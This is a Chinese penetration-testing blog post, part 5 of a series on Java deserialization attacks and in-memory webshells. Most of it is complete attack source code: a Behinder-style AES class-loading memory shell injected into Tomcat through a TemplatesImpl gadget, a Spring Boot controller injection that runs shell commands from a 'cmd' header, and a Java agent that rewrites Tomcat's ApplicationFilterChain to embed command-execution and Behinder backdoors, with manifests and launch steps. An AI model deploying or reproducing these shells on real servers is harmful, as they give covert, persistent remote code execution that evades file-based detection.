Java反序列化命令回显和内存shell(5)

渗透技巧 3年前 (2022) admin

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十一、结合shiro

shirodemo地址
https://github.com/phith0n/JavaThings/tree/master/shirodemo

shiro有个很大的问题在于cookie太长会报错，当然这个是按整个header算的，删除一些不必要的可以帮我们节约长度。前面tomcat8的Listener内存马最短，可以打入内存shell。这里用的是CB链。

Java反序列化命令回显和内存shell(5)

突破header长度有两种办法，一种是修改AbstractHttp11Protocol类中的maxHttpHeaderSize属性，另一种是POST二次加载。可参考以下文章：
https://mp.weixin.qq.com/s/5iYyRGnlOEEIJmW1DqAeXw
https://www.cnblogs.com/zpchcbd/p/15167571.html

十二、冰蝎内存马

做好兼容性，将回显逻辑改成冰蝎马。

package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*;
import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpSession;
import org.apache.catalina.connector.Request;import org.apache.catalina.connector.Response;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardHost;
public class TemplatesImplTomcat6789Behinder extends AbstractTranslet implements ServletRequestListener{    String serverNameMB;        public TemplatesImplTomcat6789Behinder() throws Exception {        setMB();        ThreadGroup group = Thread.currentThread().getThreadGroup();        Thread[] threads = (Thread[]) getFieldValue(group, "threads");        for(int i = 0; i < threads.length; i++) {            try{                Thread t = threads[i];                if (t == null) continue;                String str = t.getName();                if (str.contains("exec") || !str.contains("http")) continue;                Object obj = getFieldValue(t, "target");                if (!(obj instanceof Runnable)) continue;                obj = getFieldValue(obj, "this$0");                obj = getFieldValue(obj, "handler");                obj = getFieldValue(obj, "proto");                obj = getFieldValue(obj, "adapter");                obj = getFieldValue(obj, "connector");                obj = getFieldValue(obj, "service");                try {                    obj = getFieldValue(obj, "engine");                }catch (Exception e) {                    obj = getFieldValue(obj, "container");                }                HashMap children = (HashMap) getFieldValue(obj, "children");                StandardHost standardHost = (StandardHost) children.get(serverNameMB);                if (standardHost == null) {                    standardHost = (StandardHost) children.get("localhost");                }                children = (HashMap) getFieldValue(standardHost, "children");                Iterator iterator = children.keySet().iterator();                StandardContext standardContext = (StandardContext) children.get("");                try {                    StandardContext.class.getMethod("addApplicationEventListener", String.class).invoke(standardContext, this);                    //standardContext.addApplicationEventListener(this);                }catch (Exception e) {                    Object[] objarray = standardContext.getApplicationEventListeners();                    List list1 = java.util.Arrays.asList(objarray);                    List list2 = new java.util.ArrayList();                    list2.add(this);                    list2.addAll(list1);                    objarray = list2.toArray();                    standardContext.setApplicationEventListeners(objarray);                }
                break;            }catch(Exception e){                continue;            }        }    }    public void requestDestroyed(ServletRequestEvent sre) {
    }    private void setMB() throws Exception {        boolean flag = false;        ThreadGroup group = Thread.currentThread().getThreadGroup();        Thread[] threads = (Thread[]) getFieldValue(group, "threads");        for(int i = 0; i < threads.length; i++) {            try{                if (flag)  break;                Thread t = threads[i];                if (t == null) continue;                String str = t.getName();                if (str.contains("exec") || !str.contains("http")) continue;                Object obj = getFieldValue(t, "target");                if (!(obj instanceof Runnable)) continue;                obj = getFieldValue(obj, "this$0");                obj = getFieldValue(obj, "handler");                obj = getFieldValue(obj, "global");                ArrayList<?> processors = (ArrayList<?>) getFieldValue(obj, "processors");                for(int j = 0; j < processors.size(); ++j) {                    Object processor = processors.get(j);                    Object req = getFieldValue(processor, "req");                    Object serverPort = getFieldValue(req, "serverPort");                    if (serverPort.equals(-1)) continue;                    if (flag)  break;                    serverNameMB = (String) getFieldValue(req, "serverNameMB").toString();                    if(serverNameMB != null) {                        flag = true;                    }                }            }catch(Exception e){                continue;            }        }            }    public static Object getFieldValue(Object obj, String fieldName) throws Exception {        try {            Field field = obj.getClass().getDeclaredField(fieldName);            field.setAccessible(true);            return field.get(obj);        } catch (Exception e) {            return getFieldValue(obj, obj.getClass(), fieldName);        }    }    public static Object getFieldValue(Object obj, Class<?> clazz, String fieldName) throws Exception {        Field field;        clazz = clazz.getSuperclass();        try {            field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);            return field.get(obj);        } catch (Exception e) {            return getFieldValue(obj, clazz, fieldName);        }    }    public void requestInitialized(ServletRequestEvent sre) {        //System.out.println("ok");        Request request;        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();        try {            Field requestF = req.getClass().getDeclaredField("request");            requestF.setAccessible(true);            request = (Request)requestF.get(req);        } catch (Exception e) {            request = (Request) req;        }        Response response = request.getResponse();        try {            HashMap pageContext = new HashMap();            HttpSession session = request.getSession();            pageContext.put("request", request);            pageContext.put("response", response);            pageContext.put("session", session);            String payload = request.getReader().readLine();            String k = "e45e329feb5d925b"; // rebeyond            session.putValue("u", k);            Cipher c = Cipher.getInstance("AES");            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));            Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);            method.setAccessible(true);            byte[] evilclass_byte = c.doFinal(base64_decode(payload));            Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);            evilclass.newInstance().equals(pageContext);        } catch (Exception e) {            //e.printStackTrace();      }            }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    @Override    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {    }        public byte[] base64_decode(String string) throws Exception {        byte[] bytes;        try {            try {                Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);                bytes = (byte[]) Class.forName("java.util.Base64$Decoder").getMethod("decode",String.class).invoke(decoder, string);            } catch (Exception e) {                Object decoder = Class.forName("java.util.Base64").getMethod("getMimeDecoder").invoke(null);                bytes = (byte[]) Class.forName("java.util.Base64$Decoder").getMethod("decode",String.class).invoke(decoder, string);            }        } catch (Exception e) {            bytes = (byte[]) Class.forName("sun.misc.BASE64Decoder").getMethod("decodeBuffer",String.class).invoke(Class.forName("sun.misc.BASE64Decoder").newInstance(), string);        }        return bytes;    }
}

十三、 springboot

springboot内置tomcat，回显是兼容的，写个demo

    @RequestMapping(value = "/test", method = RequestMethod.POST)    public String test(String base64) {        if (base64 != null) {            byte[] bs = Base64.getMimeDecoder().decode(base64);            ByteArrayInputStream bais = new ByteArrayInputStream(bs);            ObjectInputStream ois;            try {                ois = new ObjectInputStream(bais);                try {                    ois.readObject();                } catch (ClassNotFoundException e) {                    e.printStackTrace();                }            } catch (IOException e) {                e.printStackTrace();            }        }        return "反序列化成功";    }

Java反序列化命令回显和内存shell(5)

但内存马不兼容，需要动态注入controller达到内存马目的，依赖spring-webmvc-4.3.25.RELEASE.jar/spring-web-4.3.25.RELEASE.jar/spring-context-4.3.25.RELEASE.jar/spring-beans-4.3.25.RELEASE.jar/spring-core-4.3.25.RELEASE.jar，参考
https://xz.aliyun.com/t/10467

package test;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;importorg.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Method; publicclassTemplatesImplSpringechoController extends AbstractTranslet{    public TemplatesImplSpringechoController() throws Exception {        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        // 2. 通过反射获得自定义 controller 中test的Method 对象        Method method2 = TemplatesImplSpringechoController.class.getMethod("test");        // 3. 定义访问 controller 的 URL 地址        PatternsRequestCondition url = new PatternsRequestCondition("/shell");        // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        // 5. 在内存中动态注册 controller        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);        // 创建用于处理请求的对象，加入“aaa”参数是为了触发第二个构造函数避免无限循环        TemplatesImplSpringechoController injectToController = new TemplatesImplSpringechoController("aaa");        mappingHandlerMapping.registerMapping(info, injectToController, method2);    }    // 第二个构造函数    public TemplatesImplSpringechoController(String aaa) {}    // controller指定的处理方法    publicvoid test() throws IOException{        // 获取request和response对象        HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();        HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();         //exec        try {            String arg0 = request.getHeader("cmd");            PrintWriter writer = response.getWriter();            if (arg0 != null) {                String o = "";                java.lang.ProcessBuilder p;                if(System.getProperty("os.name").toLowerCase().contains("win")){                    p = newjava.lang.ProcessBuilder(newString[]{"cmd.exe", "/c", arg0});                }else{                    p = newjava.lang.ProcessBuilder(newString[]{"/bin/sh", "-c", arg0});                }                java.util.Scanner c = newjava.util.Scanner(p.start().getInputStream()).useDelimiter("\A");                o = c.hasNext() ? c.next():o;                c.close();                writer.write(o);                writer.flush();                writer.close();            }else{                //当请求没有携带指定的参数(code)时，返回 404 错误                response.sendError(404);            }        }catch (Exception e){}    }    @Override    publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    @Override    publicvoidtransform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[]handlers) throws TransletException {    }}

十四、 java agent

Java agent为当前热门的内存shell，其原理是利用java自带的hook接口进行类的动态修改。
我们先做一个简单的每隔五秒打印的jar包。

package javaagent;
public class MainforRun {    public static void main(String[] args) throws Exception{        while (true){            new Peoples().say();            Thread.sleep(5000);        }
    }}

package javaagent;
public class Peoples {
    public void say(){        System.out.println("hello");    }
}

编译为jar包，以MainforRun.main()运行。
java -jar Peoples.jar

Java反序列化命令回显和内存shell(5)

此时另起一个cmd执行jps，可看见对应pid。

Java反序列化命令回显和内存shell(5)

那么我们对其进行插桩，依赖javassist-3.21.0-GA.jar和tools.jar

package javaagent;
import com.sun.tools.attach.VirtualMachine;import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;
public class Attachthings {    public static void main(String[] args) throws Exception{
        String pid = getjarpid().trim();        VirtualMachine vm = VirtualMachine.attach(pid);        String path = System.getProperty("java.class.path");        if (args.length == 1) {            path = args[0];        }        System.out.println(path);        vm.loadAgent(path);            }
    private static String getjarpid() throws Exception{        Process ps = Runtime.getRuntime().exec("jps");        InputStream is = ps.getInputStream();        InputStreamReader isr = new InputStreamReader(is);        BufferedReader bis = new BufferedReader(isr);        String line;        StringBuilder sb = new StringBuilder();        String result = null;        while((line=bis.readLine())!=null){            sb.append(line+";");        }        String  [] xx= sb.toString().split(";");        for (String x : xx){            if (x.contains("jar"))            {                result=x.substring(0,x.length()-3);            }        }        System.out.println("pid: "+result);        return result;    }}

这里path可以直接指定agent jar包，然后在idea中执行，也可以生成Attachthings攻击包。为了省事，我们将攻击和agent合在一起。agent jar包构造如下。

package javaagent;
import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;
public class Agentthing {      public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {          inst.addTransformer(new PeoplesTransformer(), true);          inst.retransformClasses(new Class[] { Peoples.class });      }    }

package javaagent;
import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;
public class PeoplesTransformer implements ClassFileTransformer {    @Override    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {        if(!className.startsWith("javaagent/Peoples"))        {            return  classfileBuffer;        }
        try{        ClassPool cp = ClassPool.getDefault();        ClassClassPath classPath = new ClassClassPath(classBeingRedefined);        cp.insertClassPath(classPath);        CtClass cc = cp.get("javaagent.Peoples");        CtMethod m = cc.getDeclaredMethod("say");        m.addLocalVariable("elapsedTime", CtClass.longType);        m.insertBefore("System.out.println("agent");");        byte[] byteCode = cc.toBytecode();        cc.detach();        return byteCode;        }        catch (Exception e){            e.printStackTrace();            System.out.println("falied change");            return null;        }    }}

然后生成Agent jar包，替换它的MANIFEST.MF如下

Manifest-Version: 1.0Main-Class: javaagent.AttachthingsAgent-Class: javaagent.AgentthingCan-Redefine-Classes: trueCan-Retransform-Classes: trueCan-Set-Native-Method-Prefix: trueClass-Path: .

java -jar Agent.jar

Java反序列化命令回显和内存shell(5)

如上图所见，成功改写了Peoples类。

那么离agent写入tomcat内存马就剩一步之遥了，首先要找出一个tomcat处理请求的必经类，这个回顾之前Filter内存shell的分析可以得出，ApplicationFilterChain.internalDoFilter()为必经类。

那么，先修改Attachthings，tomcat的启动jar包为Bootstrap，注意这里使用绝对路径。

package tomcatagent;
import com.sun.tools.attach.VirtualMachine;import java.io.*;
public class Attachthings {    public static void main(String[] args) throws Exception{                String pid = getpid().trim();        VirtualMachine vm = VirtualMachine.attach(pid);        String path = Attachthings.class.getProtectionDomain().getCodeSource().getLocation().getFile();        path = path.substring(1, path.length());        if (args.length == 1) {            path = args[0];        }                //path = "D:\Downloads\Tomcat.jar";        System.out.println("jar: "+path);        vm.loadAgent(path);     }
    private static String getpid() throws Exception{        Process ps = Runtime.getRuntime().exec("jps");        InputStream is = ps.getInputStream();        InputStreamReader isr = new InputStreamReader(is);        BufferedReader bis = new BufferedReader(isr);        String line;        StringBuilder sb = new StringBuilder();        String result = null;        while((line=bis.readLine())!=null){            sb.append(line+";");        }        String  [] xx= sb.toString().split(";");        for (String x : xx){            if (x.contains("Bootstrap")) //find tomcat            {                result=x.substring(0,x.length()-9);            }        }        System.out.println("pid: "+result);        return result;    }}

然后是Agentthing

package tomcatagent;
import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;

public class Agentthing {    public  static  void  agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {        inst.addTransformer(new Transformerthings(), true);        Class[] allclass = inst.getAllLoadedClasses();        for (Class cl : allclass){            if (cl.getName().equals("org.apache.catalina.core.ApplicationFilterChain"))            {                inst.retransformClasses(cl);            }        }        System.out.println("retransform success");}}

最后是重写类，这里为了直观，我们直接弹计算器。

package tomcatagent;
import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;
public class Transformerthings implements ClassFileTransformer {    @Override    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){            try {                ClassPool classPool = ClassPool.getDefault();                ClassClassPath classPath = new ClassClassPath(className.getClass());                classPool.insertClassPath(classPath);                if (classBeingRedefined!=null)                {                    ClassClassPath classPath1 = new ClassClassPath(classBeingRedefined);                    classPool.insertClassPath(classPath1);                }                CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");                 CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter");                ctMethod.addLocalVariable("elapsedTime", CtClass.longType);                String code = "Runtime.getRuntime().exec("calc");";                ctMethod.insertBefore(code);                byte [] classbytes =ctClass.toBytecode();                return classbytes;
            } catch (Exception e) {                e.printStackTrace();                System.out.println("falied change");            }        }        return  null;    }}

还是一样，将Attach和Agent用同一个jar包，生成之后，改写MANIFEST.MF。

Manifest-Version: 1.0Main-Class: tomcatagent.AttachthingsAgent-Class: tomcatagent.AgentthingCan-Redefine-Classes: trueCan-Retransform-Classes: trueCan-Set-Native-Method-Prefix: trueClass-Path: .

启动tomcat后执行java -jar Tomcat.jar，随便访问tomcat任意页面。

Java反序列化命令回显和内存shell(5)

最后就是code部分改内存马，为了方便调试，我们从外部code.txt来读取内存马，并且写个保护检测，解决内存马只能打一次的问题，cmd内存马(code.txt)如下。

javax.servlet.http.HttpServletRequest request=$1;javax.servlet.http.HttpServletResponse response = $2;String cmd = request.getParameter("cmd");String result = "";    try {            if (cmd != null && !cmd.isEmpty())            {               String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};               result = new String((new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\A").next().getBytes());                   response.getWriter().print(result);               return;            }      }      catch(Exception e)      {            response.getWriter().print(e.getMessage());      }

Transformerthings

package tomcatagent;
import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;
import java.io.InputStream;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.net.URL;import java.security.ProtectionDomain;
public class Transformerthings implements ClassFileTransformer {    @Override    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){            try {                ClassPool classPool = ClassPool.getDefault();                ClassClassPath classPath = new ClassClassPath(className.getClass());                classPool.insertClassPath(classPath);                if (classBeingRedefined!=null)                {                    ClassClassPath classPath1 = new ClassClassPath(classBeingRedefined);                    classPool.insertClassPath(classPath1);                }
                CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");                 if (ctClass.isFrozen()){                    ctClass.defrost();                }                CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter");                ctMethod.addLocalVariable("elapsedTime", CtClass.longType);                String url = "file:///D:/Downloads/code.txt";                InputStream input = new URL(url).openStream();                byte[] bs = new byte[input.available()];                input.read(bs);                String code = new String(bs);                ctMethod.insertBefore(code);                byte [] classbytes =ctClass.toBytecode();                return classbytes;
            } catch (Exception e) {                e.printStackTrace();                System.out.println("falied change");            }        }        return  null;    }}

效果如下

Java反序列化命令回显和内存shell(5)

冰蝎马可以直接用它自带的，稍微改一下即可。

Java反序列化命令回显和内存shell(5)

javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;javax.servlet.http.HttpSession session = request.getSession();    java.util.Map obj=new java.util.HashMap();    obj.put("request",request);    obj.put("response",response);    obj.put("session",session);    ClassLoader loader=this.getClass().getClassLoader();    if (request.getMethod().equals("POST"))    {        try        {            String k="e45e329feb5d925b";            session.putValue("u",k);            java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();            Class cipherCls=systemLoader.loadClass("javax.crypto.Cipher");            Object c=cipherCls.getDeclaredMethod("getInstance",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{"AES"});            Object keyObj=systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),"AES"});;            java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod("init",new Class[]{int.class,systemLoader.loadClass("java.security.Key")});            initMethod.invoke(c,new Object[]{new Integer(2),keyObj});            java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod("doFinal",new Class[]{byte[].class});            byte[] requestBody=null;            try {                    Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");                    Object Decoder = Base64.newInstance();                    requestBody=(byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});                } catch (Exception ex)                 {                    Class Base64 = loader.loadClass("java.util.Base64");                    Object Decoder = Base64.getDeclaredMethod("getDecoder",new Class[0]).invoke(null, new Object[0]);                    requestBody=(byte[])Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});                }
            byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});            java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});            defineMethod.setAccessible(true);            java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});            constructor.setAccessible(true);            java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});            java.lang.Class  c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});            c.newInstance().equals(obj);        }
        catch(java.lang.Exception e)        {           e.printStackTrace();        }        catch(java.lang.Error error)        {        error.printStackTrace();        }        return;    }